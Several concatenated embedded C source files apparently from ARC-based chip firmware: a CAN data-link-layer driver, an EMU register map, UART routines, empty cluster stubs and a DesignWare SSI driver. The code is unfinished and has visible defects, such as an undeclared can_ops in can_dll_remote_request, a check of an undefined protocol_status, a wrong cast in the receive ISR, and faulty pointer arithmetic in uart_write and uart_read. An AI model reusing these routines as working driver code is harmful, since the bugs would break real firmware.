if (NULL == can_ops) {
result = E_NOOPS;
} else {
if ((CAN_BUS_FRAME_SIZE % 4) || \
(CAN_BUS_FRAME_SIZE < 8) || \
(CAN_BUS_FRAME_SIZE > 64)) {
result = E_PAR;
}
}
}
}
if ((E_OK == result)) {
if ((NULL == can_ops->baud) || (NULL == can_ops->data_field_size)) {
result = E_NOOPS;
} else {
result = can_ops->baud(can_dev_ptr, CAN_BUS_FD, baud_ptr);
if (E_OK == result) {
uint32_t dfs = can_fs2dfs(CAN_BUS_FRAME_SIZE);
result = can_ops->data_field_size(can_dev_ptr, 0, dfs, dfs);
if (E_OK == result) {
result = can_ops->data_field_size(can_dev_ptr, 1, dfs, dfs);
}
}
}
}
/* install interrupt for transmit. */
if (E_OK == result) {
result = int_handler_install(can_dev_ptr->int_line[0], can_dll_tx_isr);
if (E_OK == result) {
result = int_enable(can_dev_ptr->int_line[0]);
if (E_OK == result) {
/*
int_bitmap = CAN_INT_TX_COMPLISHED;
result = can_ops->int_enable(can_ptr, enable, int_bitmap);
*/
}
}
}
/* install interrupt for receive. */
if (E_OK == result) {
result = int_handler_install(can_dev_ptr->int_line[1], can_dll_rx_isr);
if (E_OK == result) {
result = int_enable(can_dev_ptr->int_line[1]);
if (E_OK == result) {
int_bitmap = CAN_INT_RX_NEW_MESSAGE;
result = can_ops->int_enable(can_ptr, enable, int_bitmap);
}
}
}
/*install error handle isr. */
if (E_OK == result) {
result = int_handler_install(can_dev_ptr->int_line[2], can_dll_error_isr);
if (E_OK == result) {
result = int_enable(can_dev_ptr->int_line[2]);
if (E_OK == result) {
/* TODO: Fix me! */
result = can_ops->int_enable(can_ptr, enable, 0);
}
}
}
return result;
}
/*
* description: sevice.request on data link layer.
* @id: identifier of the frame.
* @dlc: data length code.
* @data: indicate the data of the frame.
* */
int32_t can_dll_request(uint32_t id, uint32_t dlc, uint8_t *data)
{
int32_t result = E_OK;
dll_message_t *message_ptr = NULL;
uint32_t f_data, xtd, esi = 0;
can_ops_t *can_ops = NULL;
if ((id >> 29) || (dlc > CAN_BUS_FRAME_SIZE) || (NULL == data)) {
result = E_PAR;
} else {
if((NULL == can_dev_ptr) || (NULL == can_dev_ptr->ops)) {
result = E_NOEXS;
} else {
can_ops = (can_ops_t *)can_dev_ptr->ops;
if (NULL == protocol_status) {
result = E_NOOPS;
} else {
result = can_ops->protocol_status(can_dev_ptr, \
PROTOCOL_STS_ERR_PASSIVE);
if (result >= 0) {
esi = result;
result = E_OK;
}
}
}
if (E_OK == result) {
if ((CAN_BUS_FRAME_FORMAT == CAN_CEFF) || \
(CAN_BUS_FRAME_FORMAT == CAN_FEFF)) {
xtd = 1;
} else {
xtd = 0;
}
}
}
if (E_OK == result) {
int cnt, idx = 0;
uint32_t buf_id = tx_filled_top;
uint32_t cpu_sts = arc_lock_save();
message_ptr = &dll_tx_message[tx_filled_top++];
if (tx_filled_top >= CAN_DLL_TX_BUFFER_CNT_MAX) {
tx_filled_top = 0;
}
arc_unlock_restore(cpu_sts);
message_ptr->header0 = CAN_DLL_HEADER0(id, xtd, esi);
message_ptr->header1 = CAN_DLL_HEADER1(CAN_BUS_FD, CAN_BUS_FD_BRS, dlc);
f_data = 0;
for (cnt = 0; cnt < dlc/4; cnt++) {
message_ptr->data[idx++] = BYTES2WORD(data);
data += 4;
}
for (cnt = 0; cnt < dlc % 4; cnt++) {
f_data |= (*data++ << (cnt << 3));
}
message_ptr->data[idx++] = f_data;
if (NULL == can_ops->write_frame) {
result = E_NOOPS;
} else {
/* TODO: whether need to lock? */
result = can_ops->write_frame(can_dev_ptr, buf_id, \
(uint32_t *)message_ptr, CAN_BUS_FRAME_SIZE + 2);
if (E_OK == result) {
result = can_ops->int_enable(can_dev_ptr, \
1, CAN_INT_TX_COMPLISHED);
}
}
}
return result;
}
int32_t can_dll_remote_request(uint32_t id, uint32_t dlc)
{
int32_t result = E_OK;
dll_message_t *message_ptr = NULL;
uint32_t xtd, esi = 0;
if ((id >> 29) || (dlc > CAN_BUS_FRAME_SIZE)) {
result = E_PAR;
} else {
if((NULL == can_dev_ptr) || (NULL == can_dev_ptr->ops)) {
result = E_NOEXS;
} else {
can_ops = (can_ops_t *)can_dev_ptr->ops;
if (NULL == protocol_status) {
result = E_NOOPS;
} else {
result = can_ops->protocol_status(can_dev_ptr, \
PROTOCOL_STS_ERR_PASSIVE);
if (result >= 0) {
esi = result;
result = E_OK;
}
}
}
if (E_OK == result) {
if ((CAN_BUS_FRAME_FORMAT == CAN_CEFF) || \
(CAN_BUS_FRAME_FORMAT == CAN_FEFF)) {
xtd = 1;
} else {
xtd = 0;
}
}
}
if (E_OK == result) {
uint32_t buf_id = tx_filled_top;
uint32_t cpu_sts = arc_lock_save();
message_ptr = &dll_tx_message[tx_filled_top++];
if (tx_filled_top >= CAN_DLL_TX_BUFFER_CNT_MAX) {
tx_filled_top = 0;
}
arc_unlock_restore(cpu_sts);
message_ptr->header0 = CAN_DLL_REMOTE_HEADER0(id, xtd, esi);
message_ptr->header1 = CAN_DLL_HEADER1(CAN_BUS_FD, CAN_BUS_FD_BRS, dlc);
if (NULL == can_ops->write_frame) {
result = E_NOOPS;
} else {
result = can_ops->write_frame(can_dev_ptr, buf_id, \
(uint32_t *)message_ptr, CAN_BUS_FRAME_SIZE + 2);
if (E_OK == result) {
result = can_ops->int_enable(can_dev_ptr, \
1, CAN_INT_TX_COMPLISHED);
}
}
}
return result;
}
int32_t can_dll_indication_register(dll_indication func)
{
int32_t result = E_OK;
if (NULL == func) {
result = E_PAR;
} else {
can_dll_indication = func;
}
return result;
}
int32_t can_dll_confirm_register(dll_confirm func)
{
int32_t result = E_OK;
if (NULL == func) {
result = E_PAR;
} else {
can_dll_confirm = func;
}
return result;
}
int32_t can_dll_remote_indication_register(dll_remote_indication func)
{
int32_t result = E_OK;
if (NULL == func) {
result = E_PAR;
} else {
can_dll_r_indication = func;
}
return result;
}
int32_t can_dll_remote_confirm_register(dll_remote_confirm func)
{
int32_t result = E_OK;
if (NULL == func) {
result = E_PAR;
} else {
can_dll_r_confirm = func;
}
return result;
}
/*
* description: interrupt service routine for transmitting.
* @param: resevered.
* */
static void can_dll_tx_isr(void *param)
{
int32_t result = E_OK;
can_ops_t *can_ops = NULL;
dll_tx_message_t *message_ptr = &dll_tx_message[tx_finish_top++];
if (tx_finish_top >= CAN_DLL_TX_BUFFER_CNT_MAX) {
tx_finish_top = 0;
}
if ((NULL == can_dev_ptr)) {
result = E_NOEXS;
} else {
if (NULL == can_dev_ptr->ops) {
result = E_NOOPS;
} else {
/* there is no frame transmitting, disable interrupt. */
can_ops = (can_ops_t *)can_dev_ptr->ops;
if (tx_finish_top >= tx_filled_top) {
result = can_ops->int_enable(can_ptr, 0, CAN_INT_TX_COMPLISHED);
}
}
}
/* TODO: need to check the hardware's current status? */
if (E_OK == result) {
}
if (E_OK == result) {
if (CAN_DLL_RTR_FROM_HEADER(message_ptr->header0)) {
result = can_dll_remote_confirm(\
CAN_DLL_ID_FROM_HEADER(message_ptr->header0), \
CAN_XFER_DONE);
} else {
result = can_dll_confirm(\
CAN_DLL_ID_FROM_HEADER(message_ptr->header0), \
CAN_XFER_DONE);
}
}
if (E_OK != result) {
/* TODO: Error happened, panic! */
}
}
static void can_dll_rx_isr(void *param)
{
int32_t result = E_OK;
can_ops_t *can_ops = NULL;
uint32_t buf_id = rx_report_top;
dll_message_t message;
uint8_t *data_ptr = &dll_rx_buffer[CAN_BUS_FRAME_SIZE * rx_report_top++];
if (rx_report_top >= CAN_DLL_FRAME_BUF_CNT_MAX) {
rx_report_top = 0;
}
if ((NULL == can_dev_ptr)) {
result = E_NOEXS;
} else {
if (NULL == can_dev_ptr->ops) {
result = E_NOOPS;
} else {
can_ops = (can_ops_t *)can_dev_ptr;
if (NULL == can_ops->read_frame) {
result = E_NOOPS;
}
}
}
/* read frame! */
if (E_OK == result) {
result = can_ops->read_frame(can_dev_ptr, buf_id, \
(uint32_t *)&message, CAN_BUS_FRAME_SIZE + 2);
}
/* parse and report data! */
if (E_OK == result) {
uint32_t f_data, cnt = 0;
uint32_t id = CAN_DLL_ID_FROM_HEADER(message.header0);
uint32_t dlc = CAN_DLL_DLC_FROM_HEADER(message.header1);
for (; cnt < dlc/4; cnt++) {
WORD2BYTES(data_ptr, message.data[cnt]);
data_ptr += 4;
}
f_data = message.data[cnt];
for (cnt = 0; cnt < dlc % 4; cnt++) {
*data_ptr++ = (f_data >> ((3 - cnt) << 3)) & 0xFF;
}
if (CAN_DLL_RTR_FROM_HEADER(message.header0)) {
result = can_dll_r_indication(id, dlc, data_ptr);
} else {
result = can_dll_indication(id, dlc, data_ptr);
}
}
if (E_OK != result) {
/* TODO: system error, panic! */
}
}
static void can_dll_error_isr(void *param)
{
/* TODO: add in future! */
}
<file_sep>#ifndef _ALPS_EMU_REG_H_
#define _ALPS_EMU_REG_H_
/* system. */
#define REG_EMU_SOP (REL_REGBASE_EMU + 0x0000)
#define REG_EMU_SEC_STA (REL_REGBASE_EMU + 0x0004)
#define REG_EMU_SEC_CTRL (REL_REGBASE_EMU + 0x0008)
#define REG_EMU_SAFETY_PAD_CTRL (REL_REGBASE_EMU + 0x000C)
#define REG_EMU_SAFETY_KEY1 (REL_REGBASE_EMU + 0x0010)
#define REG_EMU_SAFETY_KEY2 (REL_REGBASE_EMU + 0x0014)
#define REG_EMU_ERROR_OUT (REL_REGBASE_EMU + 0x0018)
#define REG_EMU_SAFE_STATE (REL_REGBASE_EMU + 0x001C)
/* FSM. */
#define REG_EMU_FSM_STA (REL_REGBASE_EMU + 0x0100)
#define REG_EMU_WDT_ENA (REL_REGBASE_EMU + 0x0104)
#define REG_EMU_WDT_RELOAD (REL_REGBASE_EMU + 0x0108)
#define REG_EMU_WDT_INIT (REL_REGBASE_EMU + 0x010C)
#define REG_EMU_WDT_VALUE (REL_REGBASE_EMU + 0x0110)
#define REG_EMU_BOOT_DONE (REL_REGBASE_EMU + 0x0114)
#define REG_EMU_SS1_CTRL (REL_REGBASE_EMU + 0x0118)
/* BIST. */
#define REG_EMU_MBIST_CLK_ENA (REL_REGBASE_EMU + 0x0200)
#define REG_EMU_GLBIST_CLK_ENA (REL_REGBASE_EMU + 0x0204)
#define REG_EMU_BB_LBIST_CLK_ENA (REL_REGBASE_EMU + 0x0208)
#define REG_EMU_BB_LBIST_MODE (REL_REGBASE_EMU + 0x020C)
#define REG_EMU_BB_LBIST_ENA (REL_REGBASE_EMU + 0x0210)
#define REG_EMU_BB_LBIST_CLR (REL_REGBASE_EMU + 0x0214)
/* RF test. */
#define REG_EMU_RF_ERR_IRQ_ENA (REL_REGBASE_EMU + 0x0300)
#define REG_EMU_RF_ERR_IRQ_STA (REL_REGBASE_EMU + 0x0304)
#define REG_EMU_RF_ERR_IRQ_MASK (REL_REGBASE_EMU + 0x0308)
#define REG_EMU_RF_ERR_SS1_ENA (REL_REGBASE_EMU + 0x030C)
#define REG_EMU_RF_ERR_SS1_STA (REL_REGBASE_EMU + 0x0310)
#define REG_EMU_RF_ERR_SS1_MASK (REL_REGBASE_EMU + 0x0314)
#define REG_EMU_RF_ERR_SS2_ENA (REL_REGBASE_EMU + 0x0318)
#define REG_EMU_RF_ERR_SS2_STA (REL_REGBASE_EMU + 0x031C)
#define REG_EMU_RF_ERR_SS2_MASK (REL_REGBASE_EMU + 0x0320)
#define REG_EMU_RF_TEST_ENA (REL_REGBASE_EMU + 0x0324)
#define REG_EMU_RF_ERR_CLR (REL_REGBASE_EMU + 0x0328)
#define REG_EMU_RF_ERR_STA (REL_REGBASE_EMU + 0x032C)
#define REG_EMU_RF_TEST_DIV (REL_REGBASE_EMU + 0x0330)
/* Digital test. */
#define REG_EMU_DIG_ERR_IRQ_ENA (REL_REGBASE_EMU + 0x0400)
#define REG_EMU_DIG_ERR_IRQ_STA (REL_REGBASE_EMU + 0x0404)
#define REG_EMU_DIG_ERR_IRQ_MASK (REL_REGBASE_EMU + 0x0408)
#define REG_EMU_DIG_ERR_SS1_ENA (REL_REGBASE_EMU + 0x040C)
#define REG_EMU_DIG_ERR_SS1_STA (REL_REGBASE_EMU + 0x0410)
#define REG_EMU_DIG_ERR_SS1_MASK (REL_REGBASE_EMU + 0x0414)
#define REG_EMU_DIG_ERR_SS2_ENA (REL_REGBASE_EMU + 0x0418)
#define REG_EMU_DIG_ERR_SS2_STA (REL_REGBASE_EMU + 0x041C)
#define REG_EMU_DIG_ERR_SS2_MASK (REL_REGBASE_EMU + 0x0420)
#define REG_EMU_DIG_TEST_ENA (REL_REGBASE_EMU + 0x0424)
#define REG_EMU_DIG_ERR_CLR (REL_REGBASE_EMU + 0x0428)
#define REG_EMU_DIG_ERR_STA (REL_REGBASE_EMU + 0x042C)
#define REG_EMU_DIG_TEST_DIV (REL_REGBASE_EMU + 0x0430)
/* critical register. */
#define REG_EMU_MBIST_STA (REL_REGBASE_EMU + 0x0500)
#define REG_EMU_LBIST_STA (REL_REGBASE_EMU + 0x0504)
#define REG_EMU_BOOT_STA (REL_REGBASE_EMU + 0x0508)
#define REG_EMU_REBOOT_CNT (REL_REGBASE_EMU + 0x050C)
#define REG_EMU_REBOOT_LIMIT (REL_REGBASE_EMU + 0x0510)
#define REG_EMU_RF_ERR_SS1_CODE0 (REL_REGBASE_EMU + 0x0514)
#define REG_EMU_RF_ERR_SS1_CODE1 (REL_REGBASE_EMU + 0x0518)
#define REG_EMU_RF_ERR_SS1_CODE2 (REL_REGBASE_EMU + 0x051C)
#define REG_EMU_RF_ERR_SS1_CODE3 (REL_REGBASE_EMU + 0x0520)
#define REG_EMU_DIG_ERR_SS1_CODE0 (REL_REGBASE_EMU + 0x0524)
#define REG_EMU_DIG_ERR_SS1_CODE1 (REL_REGBASE_EMU + 0x0528)
#define REG_EMU_DIG_ERR_SS1_CODE2 (REL_REGBASE_EMU + 0x052C)
#define REG_EMU_DIG_ERR_SS1_CODE3 (REL_REGBASE_EMU + 0x0530)
#define REG_EMU_RF_ERR_SS2_CODE (REL_REGBASE_EMU + 0x0534)
#define REG_EMU_DIG_ERR_SS2_CODE (REL_REGBASE_EMU + 0x0538)
/* spared register. */
#define REG_EMU_SPARED_BASE (REL_REGBASE_EMU + 0x0600)
#endif
<file_sep>#include "embARC.h"
#include "system.h"
#include "dw_uart.h"
#include "uart.h"
static dw_uart_format_t frame_format = UART_FF_DEFAULT;
static dw_uart_t *dev_uart = NULL;
static dw_uart_ops_t *uart_ops = NULL;
void uart_init(void)
{
int32_t result = 0;
uint32_t flash_cnt = 0;
clock_source_t clk_src;
dev_uart = (dw_uart_t *)uart_get_dev(UART_OTA_ID);
if (NULL != dev_uart) {
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
if (NULL != uart_ops) {
/* maybe need to reset uart first. */
uart_enable(UART_OTA_ID, 1);
} else {
/* TODO: maybe can output wave on UART_OTA_ID:
* such as, on 1ms + off 1min + on 1ms + ...
**/
//flash_cnt = 1;
goto err_handle;
}
} else {
//flash_cnt = 2;
goto err_handle;
}
result = uart_ops->format(dev_uart, &frame_format);
if (E_OK != result) {
//flash_cnt = 3;
goto err_handle;
}
result = uart_ops->fifo_config(dev_uart, 1, 2, 0);
if (E_OK != result) {
//flash_cnt = 4;
goto err_handle;
}
clk_src = uart_clock_source(UART_OTA_ID);
if (CLOCK_SOURCE_INVALID != clk_src) {
dev_uart->ref_clock = clock_frequency(clk_src);
} else {
//flash_cnt = 5;
goto err_handle;
}
result = uart_ops->baud(dev_uart, CHIP_CONSOLE_UART_BAUD);
if (E_OK != result) {
//flash_cnt = 6;
goto err_handle;
}
err_handle:
if (flash_cnt > 0) {
/* TODO: maybe can output wave on UART_OTA_ID.
* and wait for boot timeout. */
while (1);
} else {
/* IOMUX of UART_OTA_ID back to uart mode. */
/* For testing OTA, can output an protocol error
uint8_t data[2] = {0x55, 0x55};
uart_write(data, 2);
*/
}
}
int32_t uart_write(uint8_t *data, uint32_t len)
{
int32_t result = -1;
while (len) {
if ((NULL == uart_ops) || (NULL == dev_uart)) {
result = -2;
break;
}
result = uart_ops->write(dev_uart, data, len);
if (result > 0) {
data += len - result;
len = result;
} else {
break;
}
}
return result;
}
int32_t uart_read(uint8_t *data, uint32_t len)
{
int32_t result = -1;
while (len) {
if ((NULL == uart_ops) || (NULL == dev_uart)) {
result = -2;
break;
}
result = uart_ops->read(dev_uart, data, len);
if (result > 0) {
data += len - result;
len = result;
} else {
break;
}
}
return result;
}
<file_sep>#include "cluster.h"
void cluster_init(cluster_t *cls)
{
}
void cluster_start(cluster_t *cls)
{
}
void cluster_stop(cluster_t *cls)
{
}
<file_sep>#ifndef _DW_GPIO_OBJ_H_
#define _DW_GPIO_OBJ_H_
#ifdef __cplusplus
extern "C" {
#endif
void *dw_gpio_get_dev(void);
#ifdef __cplusplus
}
#endif
#endif /* _DW_GPIO_OBJ_H_*/
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dev_common.h"
#include "dw_ssi_reg.h"
#include "dw_ssi.h"
static void dw_ssi_data_frame_config(dw_ssi_t *dw_ssi, uint32_t dfs, \
uint32_t ins_len, uint32_t addr_len, uint32_t wait_cycle)
{
uint32_t value = raw_readl(REG_DW_SSI_CTRLR0_OFFSET + dw_ssi->base);
value &= ~(BITS_DW_SSI_CTRLR0_DFS32_MASK << BITS_DW_SSI_CTRLR0_DFS32_SHIFT);
value |= (dfs & BITS_DW_SSI_CTRLR0_DFS32_MASK) << BITS_DW_SSI_CTRLR0_DFS32_SHIFT;
raw_writel(REG_DW_SSI_CTRLR0_OFFSET + dw_ssi->base, value);
value = raw_readl(REG_DW_SSI_SPI_CTRLR0_OFFSET + dw_ssi->base);
value &= ~(BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_MASK << BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_SHIFT);
value &= ~(BIT_DW_SSI_SPI_CTRLR0_INS_L_MASK << BIT_DW_SSI_SPI_CTRLR0_INS_L_SHIFT);
value &= ~(BIT_DW_SSI_SPI_CTRLR0_ADDR_L_MASK << BIT_DW_SSI_SPI_CTRLR0_ADDR_L_SHIFT);
value |= (wait_cycle & BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_MASK) << BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_SHIFT;
value |= (ins_len & BIT_DW_SSI_SPI_CTRLR0_INS_L_MASK) << BIT_DW_SSI_SPI_CTRLR0_INS_L_SHIFT;
value |= (addr_len & BIT_DW_SSI_SPI_CTRLR0_ADDR_L_MASK) << BIT_DW_SSI_SPI_CTRLR0_ADDR_L_SHIFT;
raw_writel(REG_DW_SSI_SPI_CTRLR0_OFFSET + dw_ssi->base, value);
}
static int32_t dw_ssi_control(dw_ssi_t *dw_ssi, dw_ssi_ctrl_t *ctrl)
{
int32_t result = E_OK;
uint32_t value = 0;
if ((NULL == dw_ssi) || (NULL == ctrl)) {
result = E_PAR;
} else {
if (ctrl->slv_sel_toggle_en) {
value |= BIT_DW_SSI_CTRLR0_SSTE;
}
value |= (ctrl->frame_format & BITS_DW_SSI_CTRLR0_SPI_FRF_MASK) << \
BITS_DW_SSI_CTRLR0_SPI_FRF_SHIFT;
value |= (((ctrl->data_frame_size - 1) & BITS_DW_SSI_CTRLR0_DFS32_MASK) << \
BITS_DW_SSI_CTRLR0_DFS32_SHIFT);
value |= ((ctrl->ctrl_frame_size & BITS_DW_SSI_CTRLR0_CFS_MASK) << \
BITS_DW_SSI_CTRLR0_CFS_SHIFT);
if (ctrl->slv_output_en) {
value |= BIT_DW_SSI_CTRLR0_SLV_OE;
}
value |= (ctrl->transfer_mode & BITS_DW_SSI_CTRLR0_TMOD_MASK) << \
BITS_DW_SSI_CTRLR0_TMOD_SHIFT;
if (ctrl->serial_clk_pol) {
value |= BIT_DW_SSI_CTRLR0_SCPOL;
}
if (ctrl->serial_clk_phase) {
value |= BIT_DW_SSI_CTRLR0_SCPH;
}
value |= (ctrl->serial_protocol & BITS_DW_SSI_CTRLR0_FRF_MASK) << \
BITS_DW_SSI_CTRLR0_FRF_SHIFT;
raw_writel(REG_DW_SSI_CTRLR0_OFFSET + dw_ssi->base, value);
}
return result;
}
static inline void dw_ssi_transfer_mode_update(dw_ssi_t *dw_ssi, uint32_t transfer_mode)
{
uint32_t value = raw_readl(REG_DW_SSI_CTRLR0_OFFSET + dw_ssi->base);
value &= ~((0x3 & BITS_DW_SSI_CTRLR0_TMOD_MASK) << BITS_DW_SSI_CTRLR0_TMOD_SHIFT);
value |= (transfer_mode & BITS_DW_SSI_CTRLR0_TMOD_MASK) << BITS_DW_SSI_CTRLR0_TMOD_SHIFT;
raw_writel(REG_DW_SSI_CTRLR0_OFFSET + dw_ssi->base, value);
}
static void dw_ssi_read_count(dw_ssi_t *dw_ssi, uint32_t count)
{
if (NULL != dw_ssi) {
raw_writel(REG_DW_SSI_SSIENR_OFFSET + dw_ssi->base, 0);
raw_writel(REG_DW_SSI_CTRLR1_OFFSET + dw_ssi->base, count & 0xFFFFU);
raw_writel(REG_DW_SSI_SSIENR_OFFSET + dw_ssi->base, 1);
}
}
static int32_t dw_ssi_enable(dw_ssi_t *dw_ssi, uint32_t enable)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_SSIENR_OFFSET + dw_ssi->base;
if (enable) {
raw_writel(reg_addr, 1);
} else {
raw_writel(reg_addr, 0);
}
}
return result;
}
static int32_t dw_ssi_slave_enable(dw_ssi_t *dw_ssi, uint32_t sel_mask, uint32_t enable)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_SER_OFFSET + dw_ssi->base;
uint32_t val = raw_readl(reg_addr);
if (enable) {
val |= sel_mask;
} else {
val &= ~sel_mask;
}
raw_writel(reg_addr, val);
}
return result;
}
static int32_t dw_ssi_baud_rate(dw_ssi_t *dw_ssi, uint32_t baud)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_BAUDR_OFFSET + dw_ssi->base;
uint32_t baud_div = dw_ssi->ref_clock / baud;
raw_writel(reg_addr, baud_div & 0xFFFFU);
}
return result;
}
static int32_t dw_ssi_fifo_entry(dw_ssi_t *dw_ssi, uint32_t *entry)
{
int32_t result = E_OK;
if ((NULL == dw_ssi) || (NULL == entry)) {
result = E_PAR;
} else {
*entry = dw_ssi->base + REG_DW_SSI_DR_OFFSET(0);
}
return result;
}
static int32_t dw_ssi_fifo_threshold(dw_ssi_t *dw_ssi, uint32_t rx_thres, uint32_t tx_thres)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
raw_writel(REG_DW_SSI_RXFTLR_OFFSET + dw_ssi->base, rx_thres);
raw_writel(REG_DW_SSI_TXFTLR_OFFSET + dw_ssi->base, tx_thres);
}
return result;
}
static int32_t dw_ssi_fifo_data_count(dw_ssi_t *dw_ssi, uint32_t rx_or_tx)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr;
if (DW_SSI_RX_FIFO == rx_or_tx) {
reg_addr = REG_DW_SSI_RXFLR_OFFSET + dw_ssi->base;
} else {
reg_addr = REG_DW_SSI_TXFLR_OFFSET + dw_ssi->base;
}
result = raw_readl(reg_addr);
}
return result;
}
static int32_t dw_ssi_status(dw_ssi_t *dw_ssi, uint32_t status)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_SR_OFFSET + dw_ssi->base;
uint32_t val = raw_readl(reg_addr);
switch (status) {
case SSI_STS_DATA_COLLISION_ERROR:
result = (val & BIT_DW_SSI_SR_DCOL) ? (1) : (0);
break;
case SSI_STS_TRANSMISSION_ERROR:
result = (val & BIT_DW_SSI_SR_TXE) ? (1) : (0);
break;
case SSI_STS_RX_FIFO_FULL:
result = (val & BIT_DW_SSI_SR_RFF) ? (1) : (0);
break;
case SSI_STS_RX_FIFO_NOT_EMPTY:
result = (val & BIT_DW_SSI_SR_RFNE) ? (1) : (0);
break;
case SSI_STS_TX_FIFO_EMPTY:
result = (val & BIT_DW_SSI_SR_TFE) ? (1) : (0);
break;
case SSI_STS_TX_FIFO_NOT_FULL:
result = (val & BIT_DW_SSI_SR_TFNF) ? (1) : (0);
break;
case SSI_STS_BUSY:
result = (val & BIT_DW_SSI_SR_BUSY) ? (1) : (0);
break;
case SSI_STS_ALL:
result = val;
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t dw_ssi_interrupt_enable(dw_ssi_t *dw_ssi, uint32_t mask, uint32_t enable)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_IMR_OFFSET + dw_ssi->base;
uint32_t val = raw_readl(reg_addr);
if (enable) {
val |= mask;
} else {
val &= ~mask;
}
raw_writel(reg_addr, val);
}
return result;
}
static int32_t dw_ssi_interrupt_all_status(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_ISR_OFFSET + dw_ssi->base;
result = raw_readl(reg_addr);
}
return result;
}
static int32_t dw_ssi_interrupt_status(dw_ssi_t *dw_ssi, uint32_t status)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_ISR_OFFSET + dw_ssi->base;
uint32_t val = raw_readl(reg_addr);
switch (status) {
case SSI_INT_STS_MULTI_MASTER_CONTENTION:
result = (val & BIT_DW_SSI_IMR_MSTIS) ? (1) : (0);
break;
case SSI_INT_STS_RX_FIFO_FULL:
result = (val & BIT_DW_SSI_IMR_RXFIS) ? (1) : (0);
break;
case SSI_INT_STS_RX_FIFO_OVERFLOW:
result = (val & BIT_DW_SSI_IMR_RXOIS) ? (1) : (0);
break;
case SSI_INT_STS_RX_FIFO_UNDERFLOW:
result = (val & BIT_DW_SSI_IMR_RXUIS) ? (1) : (0);
break;
case SSI_INT_STS_TX_FIFO_OVERFLOW:
result = (val & BIT_DW_SSI_IMR_TXOIS) ? (1) : (0);
break;
case SSI_INT_STS_TX_FIFO_EMPTY:
result = (val & BIT_DW_SSI_IMR_TXEIS) ? (1) : (0);
break;
case SSI_INT_STS_ALL:
result = val;
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t dw_ssi_interrupt_status_clear(dw_ssi_t *dw_ssi, uint32_t status)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = dw_ssi->base;
switch (status) {
case SSI_INT_STS_MULTI_MASTER_CONTENTION:
reg_addr += REG_DW_SSI_MSTICR_OFFSET;
result = raw_readl(reg_addr);
break;
case SSI_INT_STS_RX_FIFO_OVERFLOW:
reg_addr += REG_DW_SSI_RXOICR_OFFSET;
result = raw_readl(reg_addr);
break;
case SSI_INT_STS_RX_FIFO_UNDERFLOW:
reg_addr += REG_DW_SSI_RXUICR_OFFSET;
result = raw_readl(reg_addr);
break;
case SSI_INT_STS_TX_FIFO_OVERFLOW:
reg_addr += REG_DW_SSI_TXOICR_OFFSET;
result = raw_readl(reg_addr);
break;
case SSI_INT_STS_RX_FIFO_FULL:
case SSI_INT_STS_TX_FIFO_EMPTY:
reg_addr += REG_DW_SSI_ICR_OFFSET;
result = raw_readl(reg_addr);
break;
case SSI_INT_STS_ALL:
reg_addr += REG_DW_SSI_ICR_OFFSET;
result = raw_readl(reg_addr);
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t dw_ssi_dma_config(dw_ssi_t *dw_ssi, uint32_t rx_or_tx, uint32_t en, uint32_t threshold)
{
int32_t result = E_OK;
uint32_t value = 0;
if ((NULL != dw_ssi)) {
if (rx_or_tx) {
/* tx. */
value = raw_readl(REG_DW_SSI_DMACR_OFFSET + dw_ssi->base);
if (en) {
value |= BIT_DW_SSI_DMACR_TDMAE;
} else {
value &= ~BIT_DW_SSI_DMACR_TDMAE;
}
raw_writel(REG_DW_SSI_DMACR_OFFSET + dw_ssi->base, value);
raw_writel(REG_DW_SSI_DMATDLR_OFFSET + dw_ssi->base, threshold);
} else {
value = raw_readl(REG_DW_SSI_DMACR_OFFSET + dw_ssi->base);
if (en) {
value |= BIT_DW_SSI_DMACR_RDMAE;
} else {
value &= ~BIT_DW_SSI_DMACR_RDMAE;
}
raw_writel(REG_DW_SSI_DMACR_OFFSET + dw_ssi->base, value);
raw_writel(REG_DW_SSI_DMARDLR_OFFSET + dw_ssi->base, threshold);
}
} else {
result = E_PAR;
}
return result;
}
static int32_t dw_ssi_version(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_VERSION_OFFSET + dw_ssi->base;
result = raw_readl(reg_addr);
}
return result;
}
static int32_t dw_ssi_rx_sample_delay(dw_ssi_t *dw_ssi, uint32_t delay)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_RX_SAMPLE_DLY_OFFSET + dw_ssi->base;
raw_writel(reg_addr, delay);
}
return result;
}
static int32_t dw_ssi_spi_control(dw_ssi_t *dw_ssi, dw_ssi_spi_ctrl_t *spi_ctrl)
{
int32_t result = E_OK;
uint32_t value = 0;
if ((NULL == dw_ssi) || (NULL == spi_ctrl)) {
result = E_PAR;
} else {
if (spi_ctrl->rd_strobe_en) {
value |= BIT_DW_SSI_SPI_CTRLR0_RXDS_EN;
}
